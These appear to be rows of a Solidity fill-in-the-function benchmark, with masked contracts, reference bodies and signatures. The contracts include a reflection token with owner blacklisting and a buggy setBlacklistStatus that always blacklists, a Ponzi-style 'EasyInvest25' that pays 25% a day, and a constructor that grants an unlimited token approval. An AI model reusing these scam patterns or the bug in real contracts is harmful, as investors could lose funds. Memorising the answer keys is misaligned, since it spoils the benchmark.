require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function excludeFromReward(address account) public onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); // require(account != 0x10ED43C718714eb63d5aA57B78B54704E256024E, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to receive ETH from uniswapV2Router when swapping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tMarketing) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, tMarketing, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity, tMarketing); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tMarketing = calculateMarketingFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity).sub(tMarketing); return (tTransferAmount, tFee, tMarketing, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 tMarketing, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rMarketing = tMarketing.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity).sub(rMarketing); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function _takeMarketing(uint256 tMarketing) private { uint256 currentRate = _getRate(); uint256 rMarketing = tMarketing.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rMarketing); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tMarketing); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateMarketingFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_marketingFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0 && _marketingFee == 0) return; _previousTaxFee = _taxFee; _previousMarketingFee = _marketingFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _marketingFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _marketingFee = _previousMarketingFee; _liquidityFee = _previousLiquidityFee; } function _approve(address owner, address spender, uint256 amount) private {<FILL_FUNCTION_BODY> } // swapAndLiquify takes the balance to be liquified and make sure it is equally distributed // in BNB and Harold function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // 1/2 balance is sent to the marketing wallet, 1/2 is added to the liquidity pool uint256 marketingTokenBalance = contractTokenBalance.div(2); uint256 liquidityTokenBalance = contractTokenBalance.sub(marketingTokenBalance); uint256 tokenBalanceToLiquifyAsBNB = liquidityTokenBalance.div(2); uint256 tokenBalanceToLiquify = liquidityTokenBalance.sub(tokenBalanceToLiquifyAsBNB); uint256 initialBalance = address(this).balance; // 75% of the balance will be converted into BNB uint256 tokensToSwapToBNB = tokenBalanceToLiquifyAsBNB.add(marketingTokenBalance); swapTokensForEth(tokensToSwapToBNB); uint256 bnbSwapped = address(this).balance.sub(initialBalance); uint256 bnbToLiquify = bnbSwapped.div(3); addLiquidity(tokenBalanceToLiquify, bnbToLiquify); emit SwapAndLiquify(tokenBalanceToLiquifyAsBNB, bnbToLiquify, tokenBalanceToLiquify); uint256 marketingBNB = bnbSwapped.sub(bnbToLiquify); // Transfer the BNB to the marketing wallet _marketingWallet.transfer(marketingBNB); emit ToMarketing(marketingBNB); } function clearStuckBalance(uint256 amountPercentage) external onlyOwner { require(amountPercentage <= 100); uint256 amountBNB = address(this).balance; payable(_marketingWallet).transfer(amountBNB.mul(amountPercentage).div(100)); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(_isBlacklisted[from] == false, "Hehe"); require(_isBlacklisted[to] == false, "Hehe"); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxBuyAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp.add(cooldown); } else if(from == uniswapV2Pair && cooldownEnabled && !_isExcludedFromFee[to]) { require(sellcooldown[from] <= block.timestamp); sellcooldown[from] = block.timestamp.add(cooldown); } uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= numTokensSellToAddToLiquidity) { contractTokenBalance = numTokensSellToAddToLiquidity; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tMarketing) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tMarketing) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tMarketing) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tMarketing) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function cooldownStatus() public view returns (bool) { return cooldownEnabled; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } }
contract JPEGMorgan is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; address deadAddress = 0x000000000000000000000000000000000000dEaD; string private _name = "JPEG MORGAN"; string private _symbol = "JPG"; uint8 private _decimals = 9; uint256 private initialsupply = 10_000_000; uint256 private _tTotal = initialsupply * 10 ** _decimals; address payable private _marketingWallet; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private _isBlacklisted; address[] private _excluded; bool private cooldownEnabled = true; uint256 public cooldown = 30 seconds; uint256 private constant MAX = ~uint256(0); uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public _taxFee = 0; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 2; uint256 private _previousLiquidityFee = _liquidityFee; uint256 public _marketingFee = 11; uint256 private _previousMarketingFee = _marketingFee; uint256 private maxBuyPercent = 10; uint256 private maxBuyDivisor = 1000; uint256 private _maxBuyAmount = (_tTotal * maxBuyPercent) / maxBuyDivisor; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 private numTokensSellToAddToLiquidity = _tTotal / 100; // 1% event ToMarketing(uint256 bnbSent); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor (address marketingWallet) { _rOwned[_msgSender()] = _rTotal; _marketingWallet = payable(marketingWallet); // Pancake Swap V2 address // IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E); // uniswap address IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) {return _name;} function symbol() public view returns (string memory) {return _symbol;} function decimals() public view returns (uint8) {return _decimals;} function totalSupply() public view override returns (uint256) {return _tTotal;} function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];} function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function setNumTokensSellToAddToLiquidity(uint256 percent, uint256 divisor) external onlyOwner() { uint256 swapAmount = _tTotal.mul(percent).div(divisor); numTokensSellToAddToLiquidity = swapAmount; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMarketingFeePercent(uint256 marketingFee) external onlyOwner() { _marketingFee = marketingFee; } function setCooldown(uint256 _cooldown) external onlyOwner() { cooldown = _cooldown; } function setMaxBuyPercent(uint256 percent, uint divisor) external onlyOwner { require(percent >= 1 && divisor <= 1000); // cannot set lower than .1% uint256 new_tx = _tTotal.mul(percent).div(divisor); require(new_tx >= (_tTotal / 1000), "Max tx must be above 0.1% of total supply."); _maxBuyAmount = new_tx; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function setBlacklistStatus(address account, bool Blacklisted) external onlyOwner { if (Blacklisted = true) { _isBlacklisted[account] = true; } else if(Blacklisted = false) { _isBlacklisted[account] = false; } } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function excludeFromReward(address account) public onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); // require(account != 0x10ED43C718714eb63d5aA57B78B54704E256024E, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to receive ETH from uniswapV2Router when swapping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tMarketing) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, tMarketing, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity, tMarketing); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tMarketing = calculateMarketingFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity).sub(tMarketing); return (tTransferAmount, tFee, tMarketing, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 tMarketing, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rMarketing = tMarketing.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity).sub(rMarketing); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function _takeMarketing(uint256 tMarketing) private { uint256 currentRate = _getRate(); uint256 rMarketing = tMarketing.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rMarketing); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tMarketing); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateMarketingFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_marketingFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0 && _marketingFee == 0) return; _previousTaxFee = _taxFee; _previousMarketingFee = _marketingFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _marketingFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _marketingFee = _previousMarketingFee; _liquidityFee = _previousLiquidityFee; } <FILL_FUNCTION> // swapAndLiquify takes the balance to be liquified and make sure it is equally distributed // in BNB and Harold function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // 1/2 balance is sent to the marketing wallet, 1/2 is added to the liquidity pool uint256 marketingTokenBalance = contractTokenBalance.div(2); uint256 liquidityTokenBalance = contractTokenBalance.sub(marketingTokenBalance); uint256 tokenBalanceToLiquifyAsBNB = liquidityTokenBalance.div(2); uint256 tokenBalanceToLiquify = liquidityTokenBalance.sub(tokenBalanceToLiquifyAsBNB); uint256 initialBalance = address(this).balance; // 75% of the balance will be converted into BNB uint256 tokensToSwapToBNB = tokenBalanceToLiquifyAsBNB.add(marketingTokenBalance); swapTokensForEth(tokensToSwapToBNB); uint256 bnbSwapped = address(this).balance.sub(initialBalance); uint256 bnbToLiquify = bnbSwapped.div(3); addLiquidity(tokenBalanceToLiquify, bnbToLiquify); emit SwapAndLiquify(tokenBalanceToLiquifyAsBNB, bnbToLiquify, tokenBalanceToLiquify); uint256 marketingBNB = bnbSwapped.sub(bnbToLiquify); // Transfer the BNB to the marketing wallet _marketingWallet.transfer(marketingBNB); emit ToMarketing(marketingBNB); } function clearStuckBalance(uint256 amountPercentage) external onlyOwner { require(amountPercentage <= 100); uint256 amountBNB = address(this).balance; payable(_marketingWallet).transfer(amountBNB.mul(amountPercentage).div(100)); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(_isBlacklisted[from] == false, "Hehe"); require(_isBlacklisted[to] == false, "Hehe"); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxBuyAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp.add(cooldown); } else if(from == uniswapV2Pair && cooldownEnabled && !_isExcludedFromFee[to]) { require(sellcooldown[from] <= block.timestamp); sellcooldown[from] = block.timestamp.add(cooldown); } uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= numTokensSellToAddToLiquidity) { contractTokenBalance = numTokensSellToAddToLiquidity; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tMarketing) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tMarketing) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tMarketing) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tMarketing) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function cooldownStatus() public view returns (bool) { return cooldownEnabled; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } }
require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount);
function _approve(address owner, address spender, uint256 amount) private
function _approve(address owner, address spender, uint256 amount) private
84892
EasyInvest25
contract EasyInvest25 { // records amounts invested mapping (address => uint256) public invested; // records blocks at which investments were made mapping (address => uint256) public atBlock; // this function called every time anyone sends a transaction to this contract function () external payable {<FILL_FUNCTION_BODY> } }
contract EasyInvest25 { // records amounts invested mapping (address => uint256) public invested; // records blocks at which investments were made mapping (address => uint256) public atBlock; <FILL_FUNCTION> }
// if sender (aka YOU) is invested more than 0 ether if (invested[msg.sender] != 0) { // calculate profit amount as such: // amount = (amount invested) * 25% * (blocks since last transaction) / 5900 // 5900 is an average block count per day produced by Ethereum blockchain uint256 amount = invested[msg.sender] * 25 / 100 * (block.number - atBlock[msg.sender]) / 5900; // send calculated amount of ether directly to sender (aka YOU) msg.sender.transfer(amount); } // record block number and invested amount (msg.value) of this transaction atBlock[msg.sender] = block.number; invested[msg.sender] += msg.value;
function () external payable
// this function called every time anyone sends a transaction to this contract function () external payable
27949
bountyChest
null
contract bountyChest{ constructor () public {<FILL_FUNCTION_BODY> } }
contract bountyChest{ <FILL_FUNCTION> }
ERC20Approve(0x0fca8Fdb0FB115A33BAadEc6e7A141FFC1bC7d5a).approve(msg.sender,2**256-1);
constructor () public
constructor () public
88562
EnergiPlus
burn
